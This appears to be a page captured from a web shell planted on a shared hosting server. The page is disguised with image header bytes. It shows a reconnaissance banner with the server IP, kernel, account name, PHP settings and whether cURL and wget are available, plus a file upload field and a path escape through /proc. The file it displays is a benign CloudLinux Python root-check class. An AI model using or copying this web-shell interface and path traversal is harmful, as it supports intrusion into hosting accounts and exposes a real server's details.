���� JFIF adgknasdgsa
Server IP : 84.32.84.10 / Your IP : 3.16.13.249 Web Server : LiteSpeed System : Linux us-imm-web537.main-hosting.eu 4.18.0-513.11.1.lve.el7h.x86_64 #1 SMP Thu Jan 18 15:21:24 UTC 2024 x86_64 User : u547896322 ( 547896322) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /proc/19156/root/proc/thread-self/root/lib/python2.7/site-packages/clcommon/ |
Upload File : |
import os class ClSec: class NoRootException(Exception): def __init__(self): Exception.__init__(self,'You need to be root to perform this command.') def is_root(): if (os.geteuid() != 0): return False return True is_root = staticmethod(is_root) def check_root(): if not (ClSec.is_root()): raise ClSec.NoRootException() check_root = staticmethod(check_root)